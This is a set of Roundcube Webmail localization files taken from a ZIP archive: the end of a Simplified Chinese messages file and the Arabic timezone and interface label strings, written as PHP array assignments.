$messages['namecannotbeempty'] = '必须输入名字';
$messages['nametoolong'] = '名字太长';
$messages['namedotforbidden'] = '文件夹名称不能以“点”开头。';
$messages['folderupdated'] = '成功更新文件夹';
$messages['foldercreated'] = '成功创建文件夹';
$messages['invalidimageformat'] = '非法的图像类型。';
$messages['mispellingsfound'] = '检查到拼写错误。';
$messages['parentnotwritable'] = '无法创建/转移文件夹至指定的上级文件夹,没有权限。';
$messages['messagetoobig'] = '邮件过大无法处理。';
$messages['attachmentvalidationerror'] = '这个附件很可疑:因为它的真正类型和在消息中声明的类型不一致。如果您不是很信任发件人,请不要打开此附件,因为里面可能包含恶意内容或者病毒。<br/><br/><em>声明类型: $expected ;检测到的类型: $detected</em>';
$messages['noscriptwarning'] = '警告:本程序需要 Javascript 支持!请在浏览器设置中启用 Javascript。';
$messages['messageissent'] = '邮件已发送,但尚未保存。是否现在保存?';
$messages['errnotfound'] = '文件未找到';
$messages['errnotfoundexplain'] = '请求资源未找到!';
$messages['errfailedrequest'] = '请求失败';
$messages['errauthorizationfailed'] = '授权失败';
$messages['errunauthorizedexplain'] = '无法验证访问此服务的授权!';
$messages['errrequestcheckfailed'] = '请求检查失败';
$messages['errcsrfprotectionexplain'] = "访问此资源是保护你避免被CSRF攻击。\nlf 看到此信息,你可能在关闭web应用程序时并未登出服务。\n\n现在需要人机交互才能继续。";
$messages['errcontactserveradmin'] = '请联系你的服务器管理员。';
$messages['clicktoresumesession'] = '点击此处恢复你之前的会话';
$messages['errcomposesession'] = '撰写会话错误';
$messages['errcomposesessionexplain'] = '请求的撰写会话未找到。';
$messages['clicktocompose'] = '点击这里撰写新邮件';
$messages['nosupporterror'] = '你的网页浏览器不支持此功能';
$messages['siginserted'] = '签名插入成功';
$messages['responseinserted'] = '回复插入成功';
$messages['listempty'] = '列表为空';
$messages['listusebutton'] = '请使用 添加 按钮添加新的记录';
$messages['keypaircreatesuccess'] = '已为 $identity 添加了新的钥匙对';
PK
h�\�2E�CC(program/localization/ar_SA/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'التوقيت العالمي';
$labels['tz:africa'] = 'أفريقيا';
$labels['tz:africa:abidjan'] = 'أبيدجان';
$labels['tz:africa:accra'] = 'آكر';
$labels['tz:africa:addis_ababa'] = 'أديس أبابا';
$labels['tz:africa:algiers'] = 'الجزائر';
$labels['tz:africa:asmara'] = 'أسمرة';
$labels['tz:africa:bamako'] = 'باماكو';
$labels['tz:africa:bangui'] = 'بانغي';
$labels['tz:africa:banjul'] = 'بانجول';
$labels['tz:africa:bissau'] = 'بيساو';
$labels['tz:africa:blantyre'] = 'بلانتير';
$labels['tz:africa:brazzaville'] = 'برازافيل';
$labels['tz:africa:bujumbura'] = 'بوجمبورا';
$labels['tz:africa:cairo'] = 'القاهرة';
$labels['tz:africa:casablanca'] = 'الدار البيضاء';
$labels['tz:africa:ceuta'] = 'سبتة';
$labels['tz:africa:conakry'] = 'كوناكري';
$labels['tz:africa:dakar'] = 'داكار';
$labels['tz:africa:dar_es_salaam'] = 'دار السلام';
$labels['tz:africa:djibouti'] = 'جيبوتي';
$labels['tz:africa:douala'] = 'دوالا';
$labels['tz:africa:el_aaiun'] = 'العيون';
$labels['tz:africa:freetown'] = 'فريتاون';
$labels['tz:africa:gaborone'] = 'جابورون';
$labels['tz:africa:harare'] = 'هراري';
$labels['tz:africa:johannesburg'] = 'جوهانسبرج';
$labels['tz:africa:juba'] = 'جوبا';
$labels['tz:africa:kampala'] = 'كمبالا';
$labels['tz:africa:khartoum'] = 'الخرطوم';
$labels['tz:africa:kigali'] = 'كيغالي';
$labels['tz:africa:kinshasa'] = 'كينشاسا';
$labels['tz:africa:lagos'] = 'لاغوس';
$labels['tz:africa:libreville'] = 'ليبرفيل';
$labels['tz:africa:lome'] = 'لومي';
$labels['tz:africa:luanda'] = 'لواندا';
$labels['tz:africa:lubumbashi'] = 'لوبومباشي';
$labels['tz:africa:lusaka'] = 'لوساكا';
$labels['tz:africa:malabo'] = 'مالابو';
$labels['tz:africa:maputo'] = 'مابوتو';
$labels['tz:africa:maseru'] = 'ماسيرو';
$labels['tz:africa:mbabane'] = 'مبابان';
$labels['tz:africa:mogadishu'] = 'مقديشو';
$labels['tz:africa:monrovia'] = 'مونروفيا';
$labels['tz:africa:nairobi'] = 'نيروبي';
$labels['tz:africa:ndjamena'] = 'نجامينا';
$labels['tz:africa:niamey'] = 'نيامي';
$labels['tz:africa:nouakchott'] = 'نواكشوط';
$labels['tz:africa:ouagadougou'] = 'واغادوغو';
$labels['tz:africa:porto-novo'] = 'بورتو نوفو';
$labels['tz:africa:sao_tome'] = 'ساو تومي';
$labels['tz:africa:tripoli'] = 'طرابلس';
$labels['tz:africa:tunis'] = 'تونس';
$labels['tz:africa:windhoek'] = 'ويندهوك';
$labels['tz:america'] = 'أمريكا';
$labels['tz:america:adak'] = 'أداك';
$labels['tz:america:anchorage'] = 'أنكوريج';
$labels['tz:america:anguilla'] = 'أنغيلا';
$labels['tz:america:antigua'] = 'أنتيغوا';
$labels['tz:america:araguaina'] = 'أراغوينا';
$labels['tz:america:argentina'] = 'الأرجنتين';
$labels['tz:america:argentina:buenos_aires'] = 'بوينس ايرس';
$labels['tz:america:argentina:catamarca'] = 'كاتاماركا';
$labels['tz:america:argentina:cordoba'] = 'قرطبة';
$labels['tz:america:argentina:jujuy'] = 'جوجوي';
$labels['tz:america:argentina:la_rioja'] = 'لاريوخا';
$labels['tz:america:argentina:mendoza'] = 'مندوزا';
$labels['tz:pacific:gambier'] = 'غامبير';
$labels['tz:pacific:guadalcanal'] = 'غوادالكانال';
$labels['tz:pacific:guam'] = 'غوام';
$labels['tz:pacific:honolulu'] = 'هونولولو';
$labels['tz:pacific:johnston'] = 'جونستون';
$labels['tz:pacific:kiritimati'] = 'كيريتيماتي';
$labels['tz:pacific:kosrae'] = 'كسرى';
$labels['tz:pacific:kwajalein'] = 'كواجالين';
$labels['tz:pacific:majuro'] = 'ماجورو';
$labels['tz:pacific:marquesas'] = 'ماركيساس';
$labels['tz:pacific:midway'] = 'ميدواي';
$labels['tz:pacific:nauru'] = 'ناورو';
$labels['tz:pacific:niue'] = 'نيو';
$labels['tz:pacific:norfolk'] = 'نورفولك';
$labels['tz:pacific:noumea'] = 'نوميا';
$labels['tz:pacific:pago_pago'] = 'باغو باغو';
$labels['tz:pacific:palau'] = 'بالاو';
$labels['tz:pacific:pitcairn'] = 'بيتكيرن';
$labels['tz:pacific:pohnpei'] = 'بوهنباي';
$labels['tz:pacific:port_moresby'] = 'مرفئ مويسبي';
$labels['tz:pacific:rarotonga'] = 'راروتونجا';
$labels['tz:pacific:saipan'] = 'سايبان';
$labels['tz:pacific:tahiti'] = 'تاهيتي';
$labels['tz:pacific:tarawa'] = 'تاراوا';
$labels['tz:pacific:tongatapu'] = 'تونغاتابو';
$labels['tz:pacific:wake'] = 'واكه';
$labels['tz:pacific:wallis'] = 'واليس';
PK
h�\�-�QoQo%program/localization/ar_SA/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'مرحباً بكم في $product';
$labels['username'] = 'اسم المستخدم';
$labels['password'] = 'كلمة المرور';
$labels['server'] = 'الخادم';
$labels['login'] = 'تسجيل الدخول';
$labels['oauthlogin'] = 'تسجيل الدخول مع $provider';
$labels['menu'] = 'القائمة';
$labels['logout'] = 'تسجيل الخروج';
$labels['mail'] = 'البريد';
$labels['settings'] = 'الإعدادات الشخصية';
$labels['addressbook'] = 'دفتر العناوين';
$labels['darkmode'] = 'الوضع المظلم';
$labels['lightmode'] = 'وضع الضوء';
$labels['inbox'] = 'الوارد';
$labels['drafts'] = 'المسودات';
$labels['sent'] = 'المرسل';
$labels['trash'] = 'المهملات';
$labels['junk'] = 'غير المرغوب';
$labels['show_real_foldernames'] = 'عرض الاسم الحقيقي لـ المجلدات المميزة ';
$labels['subject'] = 'الموضوع';
$labels['from'] = 'المرسل';
$labels['sender'] = 'المرسل';
$labels['to'] = 'المستقبل';
$labels['cc'] = 'نسخة';
$labels['bcc'] = 'نسخة مخفية';
$labels['replyto'] = 'الرد إلى';
$labels['followupto'] = 'المتابعة إلى';
$labels['date'] = 'التاريخ';
$labels['size'] = 'الحجم';
$labels['priority'] = 'الأولوية';
$labels['organization'] = 'المنظمة';
$labels['readstatus'] = 'حالة القراءة';
$labels['listoptions'] = 'قائمة الخيارات...';
$labels['listoptionstitle'] = 'قائمة الخيارات';
$labels['mailboxlist'] = 'مجلدات';
$labels['messagesfromto'] = 'الرسالة $from إلى $to من مجموع $count';
$labels['threadsfromto'] = 'جهات الإتصال $from إلى $to من مجموع $count';
$labels['messagenrof'] = 'الرسالة $nr من $count';
$labels['fromtoshort'] = '$from – $to من  $count';
$labels['copy'] = 'نسخ';
$labels['move'] = 'نقل';
$labels['moveto'] = 'نقل إلى...';
$labels['copyto'] = 'نسخ الى ';
$labels['download'] = 'تنزيل';
$labels['open'] = 'فتح';
$labels['showattachment'] = 'إظهار';
$labels['showanyway'] = 'عرض على أي حال';
$labels['filename'] = 'اسم الملف';
$labels['filesize'] = 'حجم الملف';
$labels['addtoaddressbook'] = 'إضافة إلى دفتر العناوين';
$labels['sun'] = 'الأحد';
$labels['mon'] = 'الإثنين';
$labels['tue'] = 'الثلاثاء';
$labels['wed'] = 'الأربعاء';
$labels['thu'] = 'الخميس';
$labels['fri'] = 'الجمعة';
$labels['sat'] = 'السبت';
$labels['sunday'] = 'الأحد';
$labels['monday'] = 'الإثنين';
$labels['tuesday'] = 'الثلاثاء';
$labels['wednesday'] = 'الأربعاء';
$labels['thursday'] = 'الخميس';
$labels['friday'] = 'الجمعة';
$labels['saturday'] = 'السبت';
$labels['jan'] = 'يناير';
$labels['feb'] = 'فبراير';
$labels['mar'] = 'مارس';
$labels['apr'] = 'أبريل';
$labels['may'] = 'مايو';
$labels['jun'] = 'يونيو';
$labels['jul'] = 'يوليو';
$labels['aug'] = 'أغسطس';
$labels['sep'] = 'سبتمبر';
$labels['oct'] = 'أكتوبر';
$labels['nov'] = 'نوفمبر';
$labels['dec'] = 'ديسمبر';
$labels['longjan'] = 'يناير';
$labels['longfeb'] = 'فبراير';
$labels['longmar'] = 'مارس';
$labels['longapr'] = 'إبريل';
$labels['longmay'] = 'مايو';
$labels['longjun'] = 'يونيو';
$labels['longjul'] = 'يوليو';
$labels['longaug'] = 'أغسطس';
$labels['longsep'] = 'سبتمبر';
$labels['longoct'] = 'أكتوبر';
$labels['longnov'] = 'نوفمبر';
$labels['longdec'] = 'ديسمبر';
$labels['today'] = 'اليوم';
$labels['refresh'] = 'تحديث';
$labels['checkmail'] = 'التحقق من وجود رسائل جديدة';
$labels['compose'] = 'إنشاء رسالة';
$labels['writenewmessage'] = 'إنشاء رسالة جديدة';
$labels['reply'] = 'رد';
$labels['replytomessage'] = 'الرد على الرسالة';
$labels['replytoallmessage'] = 'الرد على المرسل وجميع مستقبلي الرسالة';
$labels['replyall'] = 'الرد على الجميع';
$labels['replylist'] = 'الرد على القائمة';
$labels['forward'] = 'إعادة توجيه';
$labels['forwardinline'] = 'تمرير الرسالة ضمنياً';
$labels['forwardattachment'] = 'تمرير الرسالة كمرفق';
$labels['forwardmessage'] = 'تمرير الرسالة';
$labels['bouncemsg'] = 'إعادة الإرسال (ارتداد)';
$labels['bounce'] = 'إعادة الإرسال';
$labels['deletemessage'] = 'حذف الرسالة إلى المهملات';
$labels['movemessagetotrash'] = 'انقل الرسالة إلى سلة المهملات';
$labels['printmessage'] = 'طباعة هذه الرسالة';
$labels['previousmessage'] = 'عرض الرسالة السابقة';
$labels['firstmessage'] = 'عرض الرسالة الأولى';
$labels['nextmessage'] = 'عرض الرسالة التالية';
$labels['lastmessage'] = 'عرض الرسالة الأخيرة';
$labels['backtolist'] = 'العودة إلى لائحة الرسائل';
$labels['viewsource'] = 'إظهار المصدر';
$labels['mark'] = 'علامة';
$labels['markmessages'] = 'وسم الرسالة';
$labels['markread'] = 'كمقروءة';
$labels['markunread'] = 'كغير مقروءة';
$labels['markflagged'] = 'كموْسومة';
$labels['markunflagged'] = 'كغير موْسومة';
$labels['moreactions'] = 'إجراءات إضافية...';
$labels['markallread'] = 'وضع علامة كمقروءة للجميع';
$labels['folders-cur'] = 'المجلد المحدد فقط';
$labels['folders-sub'] = 'المجلد المحدد ومجلداته الفرعية';
$labels['folders-all'] = 'جميع الملفات';
$labels['more'] = 'المزيد';
$labels['back'] = 'العودة';
$labels['options'] = 'خيارات';
$labels['composeoptions'] = 'خيارات الإنشاء';
$labels['optionsandattachments'] = 'الخيارات والمرفقات';
$labels['actions'] = 'الإجراءات';
$labels['first'] = 'الأول';
$labels['last'] = 'الأخير';
$labels['previous'] = 'الساب';
$labels['next'] = 'التالي';
$labels['select'] = 'تحديد';
$labels['selection'] = 'اختيار';
$labels['all'] = 'الكل';
$labels['none'] = 'لاشيء';
$labels['currpage'] = 'الصفحة الحالية';
$labels['isread'] = 'قراءة ';
$labels['unread'] = 'غير المقروءة';
$labels['flagged'] = 'موسوم';
$labels['unflagged'] = 'غير موسوم';
$labels['unanswered'] = 'بلا رد';
$labels['withattachment'] = 'مع المرفقات';
$labels['deleted'] = 'محذوف';
$labels['undeleted'] = 'غير محذوفة';
$labels['replied'] = 'رد';
$labels['forwarded'] = 'تم إرسالها';
$labels['invert'] = 'عكس';
$labels['filter'] = 'تصفية';
$labels['list'] = 'قائمة';
$labels['threads'] = 'تتابعات';
$labels['expand-all'] = 'إظهار الكل';
$labels['expand-unread'] = 'إظهار الغير مقروءة';
$labels['collapse-all'] = 'ضمّ الكل';
$labels['threaded'] = 'متتابع';
$labels['showunread'] = 'إظهار الرسائل الغير مقروءة';
$labels['autoexpand_threads'] = 'إظهار تتابعات الرسائل';
$labels['do_expand'] = 'جميع التتابعات';
$labels['expand_only_unread'] = 'فقط مع الرسائل الغير مقروءة';
$labels['fromto'] = 'المرسل/المستلم';
$labels['flag'] = 'وسم';
$labels['attachment'] = 'مرفق';
$labels['nonesort'] = 'لاشيء';
$labels['sentdate'] = 'تاريخ إرسالها';
$labels['arrival'] = 'تاريخ وصولها';
$labels['asc'] = 'تصاعدي';
$labels['desc'] = 'تنازلي';
$labels['listcolumns'] = 'أعمدة السرد';
$labels['listsorting'] = 'أعمدة الترتيب';
$labels['listorder'] = 'طريقة الترتيب';
$labels['listmode'] = 'وضع طريقة السرد';
$labels['lmode'] = 'وضع القائمة';
$labels['layout'] = 'التخطيط';
$labels['layoutwidescreen'] = 'شاشة عريضة';
$labels['layoutdesktop'] = 'سطح المكتب';
$labels['layoutlist'] = 'قائمة';
$labels['layoutwidescreendesc'] = 'شاشة عريضة (عرض عمود من 3 أعمدة)';
$labels['layoutdesktopdesc'] = 'سطح المكتب (قائمة واسعة ومعاينة البريد أدناه)';
$labels['layoutlistdesc'] = 'قائمة (لا يوجد بريد معاينة)';
$labels['folderactions'] = 'إجراءات المجلد...';
$labels['compact'] = 'ضغط';
$labels['empty'] = 'تفريغ';
$labels['importmessages'] = 'استيراد الرسائل';
$labels['mailimportdesc'] = 'يمكنك تحميل البريد باستخدام ملفات بتنسيق <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME </a>أو <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'يمكن ضغط ملفات متعددة في أرشيفات مضغوطة ZIP.';
$labels['quota'] = 'المساحة المستخدمة';
$labels['unknown'] = 'مجهول';
$labels['unlimited'] = 'غير محدود';
$labels['quotastorage'] = 'مساحة التخزين';
$labels['quotamessage'] = 'تعداد الرسائل';
$labels['quicksearch'] = 'البحث السريع';
$labels['searchplaceholder'] = 'بحث...';
$labels['resetsearch'] = 'استعادة البحث للافتراضي';
$labels['searchmod'] = 'أماكن البحث';
$labels['msgtext'] = 'كامل الرسالة';
$labels['body'] = 'محتوى ';
$labels['type'] = 'نوع ';
$labels['namex'] = 'الاسم ';
$labels['searchscope'] = 'مجال';
$labels['currentfolder'] = 'المجلد الحالي';
$labels['subfolders'] = 'هذا والملفات الفرعية';
$labels['allfolders'] = 'جميع الملفات';
$labels['openinextwin'] = 'افتح في نافذة جديدة';
$labels['emlsave'] = 'تنزيل (.eml)';
$labels['changeformattext'] = 'عرض بتنسيق النص العادي';
$labels['changeformathtml'] = 'عرض بتنسيق HTML';
$labels['editasnew'] = 'تعديل كجديد';
$labels['send'] = 'ارسل';
$labels['sendmessage'] = 'إرسال الرسالة الآن';
$labels['savemessage'] = 'حفظ هذه المسودة';
$labels['addattachment'] = 'إرفاق ملف';
$labels['charset'] = 'مجموعة المحارف';
$labels['editortype'] = 'نوع المُحرّر';
$labels['returnreceipt'] = 'ايصال استلام';
$labels['dsn'] = 'تنويه حالة التوصيل';
$labels['mailreplyintro'] = 'كتب $sender في $date:';
$labels['originalmessage'] = 'الرسالة الأساسية';
$labels['addimage'] = 'إضافة صورة';
$labels['selectmedia'] = 'إختر فيديو';
$labels['addmedia'] = 'إضافة فيديو';
$labels['encrypt'] = 'تشفير';
$labels['keyid'] = 'مفتاح المعرّف';
$labels['keyexpired'] = 'تنتهي';
$labels['insert'] = 'ادراج';
$labels['recipient'] = 'مستلم';
$labels['editidents'] = 'تعديل الهويات';
$labels['spellcheck'] = 'التدقيق اﻹملائى';
$labels['checkspelling'] = 'التدقيق الإملائي';
$labels['resumeediting'] = 'متابعة التحرير';
$labels['revertto'] = 'استعادة إلى';
$labels['restore'] = 'استعادة';
$labels['restoremessage'] = 'استعادة الرسائل؟';
$labels['ignore'] = 'تجاهل';
$labels['responses'] = 'ردود';
$labels['insertresponse'] = 'اضافة رد ';
$labels['manageresponses'] = 'ادارة الردود';
$labels['editresponse'] = 'تعديل الرد ';
$labels['editresponses'] = 'تعديل الردود';
$labels['responsename'] = 'الاسم';
$labels['responsetext'] = 'نص الرد';
$labels['attach'] = 'إرفاق';
$labels['attachments'] = 'مرفقات';
$labels['upload'] = 'تحميل';
$labels['close'] = 'إغلاق';
$labels['messageoptions'] = 'خيارات الرسائل...';
$labels['low'] = 'منخض';
$labels['lowest'] = 'الأقل';
$labels['normal'] = 'عادي';
$labels['high'] = 'مرتفع';
$labels['highest'] = 'الأعلى';
$labels['nosubject'] = '(دون موضوع)';
$labels['showimages'] = 'إظهار الصور';
$labels['alwaysshow'] = 'دائماً أظهر الصّور القادمة من $sender';
$labels['isdraft'] = 'هذه مسودّة رسالة';
$labels['andnmore'] = '$nr المزيد ...';
$labels['details'] = 'التفاصيل';
$labels['togglemoreheaders'] = 'عرض المزيد من رؤوس الرسائل';
$labels['togglefullheaders'] = 'تبديل رؤوس الرسائل الأولية';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'نص مجرد';
$labels['savesentmessagein'] = 'احفظ الرسالة المُرسلة في';
$labels['dontsave'] = 'لا تحفظها';
$labels['maxuploadsize'] = 'أقصى حجم للملف هو $size';
$labels['addcc'] = 'أضف CC';
$labels['addbcc'] = 'أضف BCC';
$labels['addreplyto'] = 'أضيف Reply-To';
$labels['addfollowupto'] = 'إضافة Mail-Followup-To';
$labels['mdnrequest'] = 'طلب المرسل إعلامه عند قراءتك لرسالته. هل تود إعلام المرسل؟';
$labels['receiptread'] = 'إيصال الاستلام )بالقراءة)';
$labels['yourmessage'] = 'هذا إيصال بقراءة رسالتك';
$labels['receiptnote'] = 'ملاحظة: يُعلمك هذا الإيصال بأن رسالتك قد ظهرت على جهاز المستقبِل. ليست هناك أية ضمانات أن المستقبل قد قرأ أو فهم محتويات الرسالة.';
$labels['zoomin'] = 'تقريب';
$labels['name'] = 'اسم العرض';
$labels['firstname'] = 'الإسم الأول';
$labels['surname'] = 'الإسم الأخير';
$labels['middlename'] = 'الاسم الثاني';
$labels['nameprefix'] = 'السابقة';
$labels['namesuffix'] = 'اللاحقة';
$labels['nickname'] = 'اللقب';
$labels['jobtitle'] = 'المسمى الوظيفي';
$labels['department'] = 'الإدارة';
$labels['gender'] = 'الجنس';
$labels['maidenname'] = 'إسم الزواج';
$labels['email'] = 'البريد الإلكتروني';
$labels['phone'] = 'الهاتف';
$labels['address'] = 'العنوان';
$labels['street'] = 'الشارع';
$labels['locality'] = 'المدينة';
$labels['zipcode'] = 'الرمز البريدي';
$labels['region'] = 'المنطقة';
$labels['country'] = 'الدولة';
$labels['birthday'] = 'تاريخ الميلاد';
$labels['anniversary'] = 'المناسبة السنوية';
$labels['website'] = 'الموقع';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'ملاحظات';
$labels['male'] = 'ذكر';
$labels['female'] = 'أنثى';
$labels['manager'] = 'مدير';
$labels['assistant'] = 'المساعد';
$labels['spouse'] = 'زوجة';
$labels['allfields'] = 'جميع الحقول';
$labels['search'] = 'بحث';
$labels['advsearch'] = 'بحث متقدم';
$labels['advanced'] = 'مُتقدم';
$labels['other'] = 'آخر';
$labels['typehome'] = 'المنزل';
$labels['typework'] = 'العمل';
$labels['typeother'] = 'آخر';
$labels['typemobile'] = 'المحمول';
$labels['typemain'] = 'الرئيسي';
$labels['typehomefax'] = 'فاكس المنزل';
$labels['typeworkfax'] = 'فاكس العمل';
$labels['typecar'] = 'السيارة';
$labels['typepager'] = 'الرنان';
$labels['typevideo'] = 'الفيديو';
$labels['typeassistant'] = 'المساعد';
$labels['typehomepage'] = 'الرئيسية';
$labels['typeblog'] = 'المدوّنة';
$labels['typeprofile'] = 'الملف الشخصي';
$labels['addfield'] = 'إضافة حقل...';
$labels['editcontact'] = 'تحرير بيانات المراسل';
$labels['contacts'] = 'المراسلين';
$labels['contactproperties'] = 'خواص جهة الإتصال';
$labels['personalinfo'] = 'المعلومات الشخصية';
$labels['edit'] = 'تحرير';
$labels['cancel'] = 'إلغاء';
$labels['save'] = 'حفظ';
$labels['delete'] = 'حذف';
$labels['rename'] = 'إعادة التسمية';
$labels['addphoto'] = 'إضافة';
$labels['replacephoto'] = 'استبدال';
$labels['uploadphoto'] = 'ارفع صورة';
$labels['deletecontact'] = 'حذف المراسلين المحددين';
$labels['composeto'] = 'إنشاء رسالة إليه';
$labels['contactsfromto'] = 'المراسلون $from إلى $to من $count';
$labels['print'] = 'طباعة';
$labels['export'] = 'تصدير';
$labels['exportall'] = 'تصدير الكل';
$labels['exportsel'] = 'تصدير المختارات';
$labels['exportvcards'] = 'صدّر المراسلين بنسق vCard';
$labels['grouprename'] = 'تغيير اسم المجموعة';
$labels['groupdelete'] = 'حذف المجموعة';
$labels['groupremoveselected'] = 'حذف العنوان المختار من المجموعة';
$labels['previouspage'] = 'عرض المجموعة السابقة';
$labels['firstpage'] = 'عرض المجموعة الأولى';
$labels['nextpage'] = 'عرض المجموعة التالية';
$labels['lastpage'] = 'عرض المجموعة الأخيرة';
$labels['group'] = 'مجموعة';
$labels['groups'] = 'المجموعات';
$labels['listgroup'] = 'قائمة اعضاء المجموعة ';
$labels['personaladrbook'] = 'العناوين الشخصية';
$labels['searchsave'] = 'حفظ البحث';
$labels['searchdelete'] = 'حذف البحث';
$labels['import'] = 'استورد';
$labels['importcontacts'] = 'استورد المراسلين';
$labels['importtarget'] = 'اضافة جهة الاتصال الى ';
$labels['importreplace'] = 'استبدل دفتر العناوين بأكمله';
$labels['importgroups'] = 'استيراد مهام المجموعة ';
$labels['importgroupsall'] = 'الكل (انشاء مجموعة في حال الحاجة)';
$labels['importgroupsexisting'] = 'فقط للمجموعات الموجودة ';
$labels['done'] = 'تم';
$labels['settingsfor'] = 'إعدادات';
$labels['about'] = 'نبذة';
$labels['preferences'] = 'التفضيلات';
$labels['userpreferences'] = 'تفضيلات المستخدم';
$labels['editpreferences'] = 'تحرير تفضيلات المستخدم';
$labels['identities'] = 'الهويات';
$labels['identityencryption'] = 'التشفير';
$labels['preferhtml'] = 'تفضيل صيغة HTML';
$labels['defaultcharset'] = 'ترميز المحارف الافتراضي';
$labels['htmlmessage'] = 'رسالة بنسق HTML';
$labels['messagepart'] = 'جزء';
$labels['digitalsig'] = 'التوقيع الالكتروني';
$labels['dateformat'] = 'نسق التاريخ';
$labels['timeformat'] = 'نسق الوقت';
$labels['prettydate'] = 'تواريخ منمقة';
$labels['setdefault'] = 'تعيين كإفتراضي';
$labels['autodetect'] = 'آلي';
$labels['language'] = 'اللغة';
$labels['timezone'] = 'المنطقة الزمنية';
$labels['pagesize'] = 'عدد الرسائل في الصفحة';
$labels['signature'] = 'التوقيع';
$labels['dstactive'] = 'التوقيت الصيفي';
$labels['showinextwin'] = 'فتح الرسالة فى نافذة جديدة';
$labels['composeextwin'] = 'أرسال عن طريق نافذة جديدة';
$labels['htmleditor'] = 'إنشاء رسائل بنسق HTML';
$labels['htmlonreply'] = 'حال الرد على الرسائل بصيغة HTML فقط';
$labels['htmlonreplyandforward'] = 'على التوجية او الرد على رسائل HTML';
$labels['htmlsignature'] = 'توقيع HTML';
$labels['showemail'] = 'عرض عنوان البريد الالكتروني مع الاسم ';
$labels['previewpane'] = 'إظهار قسم المعاينة';
$labels['skin'] = 'شكل الواجهة';
$labels['logoutclear'] = 'إفراغ سلة المحذوفات عند الخروج';
$labels['logoutcompact'] = 'ضغط صندوق الوارد عن الخروج';
$labels['uisettings'] = 'واجهة المستخدم';
$labels['serversettings'] = 'إعدادات الخادم';
$labels['mailboxview'] = 'مظهر صندوق البريد';
$labels['mdnrequests'] = 'عند طلب إشعار استلام';
$labels['askuser'] = 'اسأل المستخدم';
$labels['autosend'] = 'أرسلها تلقائياً';
$labels['autosendknown'] = 'أرسل إشعار استلام إلى جهات اتصالي، وإلااسألني';
$labels['autosendknownignore'] = 'أرسل إشعار استلام إلى جهات اتصالي، وإلاتجاهل الأمر';
$labels['readwhendeleted'] = 'تحديد الرسالة كمقروءة عند حذفها';
$labels['flagfordeletion'] = 'وضع علامة على الرسالة لحذفها بدلاً منحذفها';
$labels['skipdeleted'] = 'لا تظهر الرسائل المحذوفة';
$labels['deletealways'] = 'حذف الرسائل مباشرة، إن تعذر نقلها إلىالمهملات';
$labels['deletejunk'] = 'مباشرة احذف الرسائل الموجودة في غير المرغوب فيه';
$labels['showremoteimages'] = 'إظهار الصور الخارجية المدمجة';
$labels['fromknownsenders'] = 'للمرسلين المعلومين';
$labels['always'] = 'دائماً';
$labels['showinlineimages'] = 'إظهار الصّور المرفقة أسفل الرسالة';
$labels['autosavedraft'] = 'حفظ المسودة تلقائياً';
$labels['everynminutes'] = 'كل $n دقيقة';
$labels['refreshinterval'] = 'تحديث (التاكد من الرسائل الجديدة, الخ.)';
$labels['never'] = 'أبداً';
$labels['immediately'] = 'حالاً';
$labels['messagesdisplaying'] = 'إظهار الرسائل';
$labels['messagescomposition'] = 'إنشاء الرسائل';
$labels['mimeparamfolding'] = 'أسماء الملفات المرفقة';
$labels['2231folding'] = 'RFC 2231 بأكملها (ثندربيرد)';
$labels['miscfolding'] = 'RFC 2047/2231 (ميكروسوفت آوتلوك)';
$labels['2047folding'] = 'RFC 2047 بأكملها (غيرها)';
$labels['force7bit'] = 'استخدام ترميز MIME للحروف ذات الثمانيةبتّات';
$labels['advancedoptions'] = 'خيارات متقدّمة';
$labels['focusonnewmessage'] = 'التركيز على نافذة المتصفح عند وجود رسالةجديدة';
$labels['checkallfolders'] = 'التحقق من وجود رسائل جديدة في جميعالمجلدات';
$labels['defaultfont'] = 'الخط الافتراضي لـ رسائل HTML';
$labels['mainoptions'] = 'الخيارات الأساسية';
$labels['browseroptions'] = 'خيارات المتصفح';
$labels['section'] = 'قسم';
$labels['maintenance'] = 'الصيانة';
$labels['newmessage'] = 'رسالة جديدة';
$labels['signatureoptions'] = 'خيارات التوقيع';
$labels['whenreplying'] = 'عند الرد';
$labels['replyempty'] = 'لا تقتبس رسالة الاصل';
$labels['replytopposting'] = 'بدء رسالة جديدة ووضع النص أعلى الأصلية';
$labels['replybottomposting'] = 'بدء رسالة جديدة ووضع النص أسفل الأصلية';
$labels['replyremovesignature'] = 'إزالة التوقيع من الرسالة عند الرد';
$labels['autoaddsignature'] = 'إضافة التوقيع آلياً';
$labels['newmessageonly'] = 'الرسالة الجديدة فقط';
$labels['replyandforwardonly'] = 'الردود والتمريرات فقط';
$labels['insertsignature'] = 'إضافة التوقيع';
$labels['afternseconds'] = 'بعد $n ثواني';
$labels['reqmdn'] = 'طلب إشعار استلام دائماً';
$labels['reqdsn'] = 'طلب تنويه لحالة التوصيل دائماً';
$labels['replysamefolder'] = 'وضع الردود في المجلد الذي يحوي الرسالةالمردود عليها';
$labels['defaultabook'] = 'دفتر العناوين الافتراضي';
$labels['autocompletesingle'] = 'تجاهل عنوان البريد الإلكتروني البديل فيالتكملة التلقائية';
$labels['listnamedisplay'] = 'عرض جهات الاتصال كـ ';
$labels['spellcheckbeforesend'] = 'تحقق من الإملاء قبل إرسال الرسائل';
$labels['spellcheckoptions'] = 'خيارات التدقيق الإملاءي';
$labels['spellcheckignoresyms'] = 'تجاهل الكلمات التي تحتوي رموز';
